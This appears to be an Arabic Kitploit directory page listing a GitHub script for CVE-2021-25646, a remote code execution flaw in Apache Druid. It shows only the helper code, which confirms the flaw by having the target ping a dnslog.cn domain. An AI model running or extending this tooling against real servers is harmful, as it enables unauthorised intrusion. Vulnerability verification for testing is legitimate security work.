Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-25646 — CVE-2021-25646 Apache Druid ثغرة تنفيذ التعليمات البرمجية عن بعد Wker سكريبت | Kitploit
أدوات/GitHubGitHub/givemefivw/cve-2021-25646
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةأداة الوصول عن بعد
GitHubgivemefivw/cve-2021-25646

CVE-2021-25646

CVE-2021-25646 Apache Druid ثغرة تنفيذ التعليمات البرمجية عن بعد Wker سكريبت

عرض المستودع
32منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-25646 Apache Druid ثغرة تنفيذ التعليمات البرمجية عن بُعد - نص Wker

قيد الكتابة...

=====================================================================================

أولاً، أشكر الخبير Wker على الإجابة عن بُعد.

الهدف من كتابة النص هو التمرين.

الاستخدام

يستخدم النص DNSLog للتحقق، فإذا وُجدت الثغرة، سيحصل تلقائياً على رابط dnslog وينفذ عملية ping، ثم يطبع النتيجة.

  • قبل الاستخدام، أنشئ ملفاً جديداً باسم dns.wker في المسار script\ATTACKUTILS
root@kitploit:~
#define dnsqian = Set-Cookie:[
#define dnshou =  path=/
#define re = "(.*?)"
function DnsRef(cookie){
	res = HttpGet("http://dnslog.cn/getrecords.php?t=0.3741317873165926",cookie.StrRN()."User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
	r = StrRe(res[0],re);
	if(GetArrayNum(r) >= 3){
		return r[3];
	}else{
		return "";
	}
}
function GetDomain(){
	array r;
	res = HttpGet("http://dnslog.cn/getdomain.php?t=0.16082432252184475","User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0");
	tmp = StrSplit(res[0],StrRN());
	dns = tmp[0];
	cookie = "Cookie: ".GettextMiddle(res[1],dnsqian,dnshou);
	ArrayAddEle(r,dns);
	ArrayAddEle(r,cookie);
	return r;
}

لقطة الشاشة

تنزيل الأداة